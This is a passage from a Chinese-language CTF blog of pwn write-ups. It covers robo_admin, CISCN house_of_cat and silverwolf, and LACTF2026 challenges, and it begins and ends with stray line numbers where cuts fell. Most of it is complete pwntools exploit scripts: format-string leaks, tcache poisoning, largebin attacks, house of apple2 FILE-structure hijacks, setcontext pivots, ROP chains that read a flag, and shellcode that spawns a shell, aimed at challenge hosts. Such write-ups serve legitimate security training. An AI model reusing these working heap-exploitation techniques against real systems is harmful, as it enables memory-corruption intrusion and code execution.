131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './robo_admin_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def encoder(text):
 result = str()
 for i in text:
 if i == '%' or i == '$':
 result += '\\' + hex(ord(i))[1:]
 else:
 result += i
 return result.encode()

def safelinking(pos, ptr):
 return (pos >> 12) ^ ptr

def decodenext(x):
 a = x
 for _ in range(12):
 x = a ^ (x >> 12)
 return x

def setnotice(notice):
 sla(b'> \n', b'1')
 s(notice)

def showstatus():
 sla(b'> \n', b'2')

def admin_login(pwd):
 sla(b'> \n', b'3')
 sa(b'Token:\n', b'ROBOADMIN')
 sa(b'Password (32 hex):\n', pwd)

def exit():
 sla(b'> \n', b'4')

def createtask(idx, name, size):
 sla(b'> \n', b'1')
 sla(b'Index:\n', str(idx).encode())
 sa(b'name:\n', name)
 sla(b'size:\n', str(size).encode())

def edittask(idx, length, content):
 sla(b'> \n', b'2')
 sla(b'Index:\n', str(idx).encode())
 sa(b'length :\n', str(length).encode())
 sla(b'bytes:\n', content)

def querytask(idx):
 sla(b'> \n', b'3')
 sla(b'Index:\n', str(idx).encode())

def deletetask(idx):
 sla(b'> \n', b'5')
 sla(b'Index:\n', str(idx).encode())

def logout():
 sla(b'> \n', b'6')

setnotice(encoder('%6$016p%7$016p%23$p')) # leak pwd, libc
showstatus()
ru(b'Notice: ')
r(2)
pwd = r(16)
r(2)
pwd += r(16)
r(2)
libc.address = int(r(12).decode('utf-8'), 16) - 0x29d90
leak('libc.address')
admin_login(pwd)

createtask(0, b'WWW', 0x48) # init_chunk
createtask(1, b'WWW', 0x48)
createtask(2, b'WWW', 0x48)
deletetask(0)
deletetask(1)
deletetask(2)

for i in range(7): # fill tcache
 createtask(i, str(i).encode(), 0x1d8)
for i in range(7):
 deletetask(i)

createtask(0, b'AAA', 0xd8) # build overlap
createtask(1, b'AAA', 0xf8)
createtask(2, b'AAA', 0xd8)
createtask(3, b'AAA', 0xd8)
payload = b'A' * 0xd8 + b'\xe1'
edittask(0, 0xd9, payload)
deletetask(1)
createtask(1, b'AAA', 0xf8)
deletetask(1)
createtask(1, b'AAA', 0xd8)
deletetask(3)
deletetask(1)

querytask(2) # leak heap
ru(b' => ')
heap = decodenext(uu64(r(6))) - 0x2940
leak('heap')

payload = p64(safelinking(heap + 0x2000, heap + 0xf0)) # tcache poisoning
edittask(2, 0x8, payload)
createtask(3, b'AAA', 0xd8)
createtask(4, b'AAA', 0xd8)
stderr = libc.symbols['_IO_2_1_stderr_']
payload = p64(stderr) + p64(stderr)
edittask(4, 0x16, payload)

createtask(6, b'BBB', 0xe0) # house of apple2
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edittask(6, 0xe0, fake_io)
logout()
exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f367
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 257,
 pop_rdi_ret,
 -100,
 pop_rsi_ret,
 stderr + 0x10,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# openat(-100, "flag", 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

sla(b'bye', rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret;
# 0x000000000002a3e5: pop rdi; ret;
# 0x000000000002be51: pop rsi; ret;
# 0x000000000011f367: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret;

NSSCTF-CISCN-2022-house_of_cat 题解

Sat, 07 Mar 2026 00:58:00 +0000

题目

题目链接

checksec

seccomp

只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw

IDA

main

handle_command

parse_command

需要逆向解析出指令格式

execute_command

套一层指令解析的菜单题

add

只能申请 largerequest 0x420~~0x470 ，放入 largebin 的话， 0x420~~0x430 一个 bin ， 0x440~0x470 一个 bin

edit

edit 限制为两次，只能写 0x30

show

用于 leak

delete

有 UAF

攻击思路

先分析出命令格式： COMMAND | r00tQWB QWXFarg

然后发现要 login 成为管理员，再 cat 拿菜单

1
2


LOGIN | r00tQWB QWXFadmin
CAT | r00tQWB QWXF\xff

之后就是堆题

只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手

largebin attack 令 largebin1->bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2

由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count

在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意到这里的 fwd->fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize

顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响

完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：

1
2
3


__malloc_assert ---> _fxprintf ---> locked_vfxprintf ---> __vfprintf_internal ---> 
_IO_wfile_overflow ---> _IO_wdoallocbuf ---> _IO_WDOALLOCATE ---> 
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里我根据自己的理解，把调用链分成了三层：

第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链

第二层属于 house of apple2 调用链，在跳转的 target rip 之前

第三层即跳转至 target rip

这里给出 roderick 大佬的 house of apple2 的构造方式：

_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；

vtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；

_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A

_wide_data->_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0

_wide_data->_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0

_wide_data->_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C

对于本题，还应：

_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr

此外，还要注意一个细节：堆地址比写入地址低 0x10

到这里，伪造结构基本布置完毕，然后是 setcontext 环节

这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ，即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的

这一步做完后，愉快地打 rop 就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./house_of_cat_patched')
else:
	io = remote('node4.anna.nssctf.cn', 25341)

libc = ELF('./libc.so.6')

def login():
	io.sendlineafter(b'mew~~~~~~\n', b'LOGIN | r00tQWB QWXFadmin\x00')

def cat():
	io.sendlineafter(b'mew~~~~~~\n', b'CAT | r00tQWB QWXF\xff\x00')

def add(idx, size, content):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	io.sendafter(b'content:\n', content)

def delete(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'2')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'3')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, content):
	cat()
	io.sendlineafter(b'choice:\n', b'4')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendafter(b'content:\n', content)

def malloc_assert(idx, size):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	
def final_attack_gen(heap):
	fake_io_base = heap + 0xb60
	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f497
	syscall_ret = libc.address + 0x91396
	rop_chain = flat([
		3,
		pop_rdi_ret,
		0,
		syscall_ret,		# close(0)
		pop_rax_ret,
		2,
		pop_rdi_ret,
		fake_io_base + 0x100,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		0,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(0, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])
	fake_io_and_rop = flat({
		0x78: heap,
		0x88: libc.sym['setcontext'] + 0x3d,
		0x90: fake_io_base + 0x110,
		0xC8: libc.sym['_IO_wfile_jumps'] - 0x20,
		0xf0: b'/flag\x00',
		0x168: libc.sym['setcontext'] + 0x3d,
		0x1a0: fake_io_base + 0x210,		# rsp
		0x1a8: pop_rax_ret,		# rip
		0x1e0: fake_io_base + 0x110,
		0x200: rop_chain
		},
		filler=b"\x00"
	)
	return fake_io_and_rop

def attack():
	login()

	add(0, 0x458, b'AAA')		# init
	add(1, 0x468, b'ZZZ')
	add(2, 0x448, b'BBB')
	add(3, 0x468, b'ZZZ')
	add(4, 0x438, b'CCC')

	delete(0)		# leak
	add(5, 0x468, b'ZZZ')
	show(0)
	io.recvuntil(b'Context:\n')
	fd = u64(io.recv(6).ljust(8, b'\x00'))
	libc.address = fd - 0x21a0e0
	log.info(f'libc = {hex(libc.address)}')
	stderr = libc.symbols['stderr']
	io.recv(10)
	fdn = u64(io.recv(6).ljust(8, b'\x00'))
	heap = fdn - 0x290
	log.info(f'heap = {hex(heap)}')

	delete(2)		# fix
	add(6, 0x448, final_attack_gen(heap))
	
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))		# largebin attack - stderr
	delete(6)
	add(7, 0x468, b'ZZZ')

	topsize_tar = heap + 0x2140 + 8 - 5		# largebin attack - topsize
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20))
	delete(4)
	gdb.attach(io)

	malloc_assert(8, 0x468)
	io.interactive()

attack()

# COMMAND | r00tQWB QWXFARG
# LOGIN | r00tQWB QWXFadmin
# CAT | r00tQWB QWXF\xff
# rsp 0xa0; rcx(rip) 0xa8;

NSSCTF-CISCN-2021-silverwolf 题解

Thu, 26 Feb 2026 20:41:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

initbuf

有沙箱，需要 orw

allocate

同一时间只能掌控一个 chunk ，最大为 0x78

edit

show

用于 leak

delete

有 UAF

攻击思路

挺棘手的，这道题目没有任何 leak pie 和 leak stack 的手段，只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ，并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ，同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处：我们获得了 tcache_entries 的控制权，这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址，这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程，而且要实现 orw 的话直接劫持 free_hook 不够（参数个数原因），因此我们考虑栈迁移并构造 rop 链

我们将栈迁移的目标设置在堆上，而要实现栈迁移，我们可以将 free_hook 劫持为 setcontext + 0x35 ，传入的 rdi 为寄存器布局的地址，即可实现类似 srop 的效果

setcontext

这里第一个 rcx 即 rip

接下来我使用了一点小巧思：我们不直接写入 orw 的 rop 链，因为这样太长，需要分段写入，所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6


rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./silverwolf_patched')
else:
	io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
	io.sendlineafter(b'Your choice: ', b'1')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
	io.sendlineafter(b'Your choice: ', b'2')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Content: ', content)

def show():
	io.sendlineafter(b'Your choice: ', b'3')
	io.sendlineafter(b'Index: ', b'0')

def delete():
	io.sendlineafter(b'Your choice: ', b'4')
	io.sendlineafter(b'Index: ', b'0')

def exit():
	io.sendlineafter(b'Your choice: ', b'5')

def attack():
	allocate(0x78)
	delete()
	show()
	io.recvuntil(b'Content: ')
	heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
	log.info(f'heap_base = {hex(heap_base)}')

	edit(p64(heap_base + 0x10) + p64(0))
	allocate(0x78)
	allocate(0x78)
	edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
	delete()
	show()
	io.recvuntil(b'Content: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
	log.info(f'libc_base = {hex(libc_base)}')
	
	free_hook = 0x3ed8e8 + libc_base
	setcontext = 0x521b5 + libc_base
	xor_rax_ret = 0xb15a5 + libc_base
	pop_rdx_pop_rsi_ret = 0x130569 + libc_base
	syscall_ret = 0xd2745 + libc_base
	pop_rax_ret = 0x43ae8 + libc_base
	pop_rdi_ret = 0x215bf + libc_base
	stack_pivoting0 = 0x10000 + heap_base
	stack_pivoting1 = 0x10000 + heap_base + 0x70
	stack_pivoting2 = 0x10000 + heap_base + 0xa0
	edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
	allocate(0x18)
	edit(b'/flag\x00\x00\x00' + p64(setcontext))
	log.info(f'free_hook_addr = {hex(free_hook)}')
	log.info(f'set_context_addr = {hex(setcontext)}')
	
	allocate(0x28)
	srop2 = flat([
		p64(heap_base + 0x58), 
		p64(syscall_ret)])
	edit(srop2)

	allocate(0x38)
	srop1 = flat([
		p64(heap_base + 0x58), 
		p64(0) * 2, 
		p64(0x400)])
	edit(srop1)

	allocate(0x48)
	delete()

	orw = flat([
		p64(pop_rdi_ret), 
		p64(free_hook - 0x08), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0), 
		p64(0), 
		p64(pop_rax_ret), 
		p64(2), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(3), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(xor_rax_ret), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(1), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(pop_rax_ret), 
		p64(1), 
		p64(syscall_ret)])
	io.send(orw)

	io.interactive()

attack()

LACTF2026-pwn 个人题解

Wed, 11 Feb 2026 02:38:00 +0000

tic-tac-no

IDA

main

井字棋

playerMove

数组越界写

checkWin

相同字符就胜利

bss

越界写把电脑的棋子变成自己的就行了，脚本都不用写

ScrabASM

IDA

main

swap_tile

play

其实就是执行随机生成的 shellcode ，但可以更换任意字节为随机字节

攻击思路

由于 srand 以时间作种子，可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数，进而控制 shellcode

且由于只有 15 字节的空间，我们可以先执行 read shellcode 再自行写入提权 shellcode

(这张图片用了队友 ItsFlicker 的，懒得自己再截了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


add al, 0xd
push rax
pop rsi
xor edi, edi
push rdi
pop rax
mov dl, 0xf0
syscall

{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 }

exp

c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
 int t = time(0);
 srand(t + 2);
 FILE *fp = fopen("./beyond.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t);
 fp = fopen("./present.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t + 1);
 fp = fopen("./future.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 return 0;
}

python

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./chall')
else:
	io = remote('chall.lac.tf', 31338)

nowrd = []
prsrd = []
ftrrd = []
bydrd = []
tag = ''
nowstep = [0] * 14
rout = []
fag = [0] * 14
sc = ['04', '0d', '50', '5e', '48', '31', 'ff', '57', '58', 'b2', 'f0', '0f', '05']

def rdbt():
	global nowrd
	io.recvuntil(b'Your starting tiles:')
	for i in range(14):
		io.recvuntil(b'| ')
		nowrd.append(io.recv(2).decode('utf-8'))

def prsbt():
	global prsrd
	with open('present.txt', 'r', encoding = 'utf-8') as f:
		prsrd = f.read().split()

def ftrbt():
	global ftrrd
	with open('future.txt', 'r', encoding = 'utf-8') as f:
		ftrrd = f.read().split()

def bydbt():
	global bydrd
	with open('beyond.txt', 'r', encoding = 'utf-8') as f:
		bydrd = f.read().split()

def randswap():
	prepos = 13
	for nowpos in range(14, 1000):
		flag = 0
		op = 0
		for i in range(len(sc)):
			if sc[i] == nowrd[nowpos] and fag[i] == 0:
				flag = i
				fag[i] = 1
				op = 1
				break
		if op == 1:
			nowstep[flag] = nowpos - prepos
			prepos = nowpos
			rout.append(flag)
		if len(rout) == 14:
			break

def swapidx(idx):
	io.sendline(b'1')
	io.sendline(str(idx).encode())

def attack():
	global rout
	global nowstep
	global nowrd
	global tag
	rdbt()
	prsbt()
	ftrbt()
	bydbt()
	flag = 7
	for i in range(len(nowrd)):
		if nowrd[i] != prsrd[i]:
			flag = flag & 0b110
		if nowrd[i] != ftrrd[i]:
			flag = flag & 0b101
		if nowrd[i] != bydrd[i]:
			flag = flag & 0b011
	if flag == 1:
		tag = 'prs'
		nowrd = prsrd
	elif flag == 2:
		tag = 'prs'
		nowrd = ftrrd
	elif flag == 4:
		tag = 'prs'
		nowrd = bydrd
	print(tag)
	randswap()
	for i in rout:
		for _ in range(nowstep[i]):
			swapidx(i)
	io.sendlineafter(b'> ', b'2')
	mysc = shellcraft.sh()
	io.send(asm(mysc))
	io.interactive()

attack()

tcademy

checksec

保护全开

IDA

main

菜单题

create_note

只有两个槽位

delete_note

print_note

puts 可以通过溢出泄露一些内容

get_note_index

read_data_into_note

此处有由整数溢出造成的堆溢出漏洞

攻击思路

glibc 版本为 2.35 ，是高版本，有 PIE 保护，没有 hook 函数可以劫持

所以考虑劫持某个 _IO_FILE 结构体用来 getshell ，在此之前应先 leak libc

可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak

在高版本 libc 中， tcache 劫持的要求会更加严格

首先是 safe-linking 机制，这需要还原泄露出的 next 指针，并且 key 的生成不再与堆地址相关，改为和 canary 类似的随机 8 字节数据

然后是分配 tcache 时的判断，决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ，不能再简单粗暴地劫持 tcache_pthread_struct 就完事了

对于这道题目而言，更加棘手的是同时持有的 chunk 槽位只有两个，而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ，这需要我们修改 counts ，而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤，我们必须预先申请两个相同大小的 chunk 再放入 tcache

而且还要注意不要破坏掉 size ，破坏了也要修复，不然 delete 的时候有你好受

在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式，这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ，事后直接 free 即可，非常方便

还要注意一个小细节： tcache_pthread_struct 会被劫持也会被释放，这样的话前面的一些 counts 会变得比较奇怪，而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉，需要更换 size 做接下来的步骤

最后劫持 IO_2_1_stdout 打 house_of_apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 102

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31144)

libc = ELF('./libc.so.6')

def create(index, size, content):
	io.sendlineafter(b'Choice > ', b'1')
	io.sendlineafter(b'Index: ', str(index).encode())
	io.sendlineafter(b'Size: ', str(size).encode())
	io.sendafter(b'Data: ', content)

def delete(index):
	io.sendlineafter(b'Choice > ', b'2')
	io.sendlineafter(b'Index: ', str(index).encode())

def printnote(index):
	io.sendlineafter(b'Choice > ', b'3')
	io.sendlineafter(b'Index: ', str(index).encode())

def calcnext(ptr, pos):
	return (ptr // 0x1000) ^ pos

def attack():
	msize = 0x7
	nsize = 0xf8
	osize = 0xe8

	create(0, msize, b'\n')		# build arch
	create(1, nsize, b'\n')
	delete(0)
	delete(1)

	payload = b'A' * (0x20 - 1) + b'B'		# leak heap
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	heap = u64(io.recv(5).ljust(8, b'\x00')) * 0x1000
	log.info(f'heap = {hex(heap)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x101)		# fix up
	create(0, msize, payload)
	delete(0)
	create(0, nsize, b'\n')
	create(1, nsize, b'\n')
	delete(1)
	delete(0)
	
	toentry = calcnext(heap + 0x2c0, heap + 0x10)		# tcache_pthread_struct hijack
	payload = b'A' * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b'\x00') + p64(0x90) + p64(0x71)
	create(0, msize, payload)
	delete(0)
	create(0, nsize, '\n')
	payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b'\x00')
	create(1, nsize, payload)

	delete(0)		# into unsortedbin
	payload = b'A' * (0x20 - 1) + b'B'
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
	log.info(f'libc = {hex(libc.address)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x91) 	# fix up
	create(0, msize, payload)
	delete(0)
	delete(1)
	create(0, osize, b'\n')
	create(1, osize, b'\n')
	delete(1)
	delete(0)

	stdout = libc.sym['_IO_2_1_stdout_']		# stdout hijack
	payload = b'A' * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout))
	create(0, msize, payload)
	delete(0)
	create(0, osize, '\n')
	fake_io = flat({
			0x0: b" sh;",
			0x28: libc.sym['system'],
			0x88: heap,
			0xA0: stdout - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps'] - 0x20
		},
		filler=b"\x00"
	)
	log.info(f'stdout = {hex(stdout)}')
	create(1, osize, fake_io)
	io.interactive()

attack()

ourUKLA

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
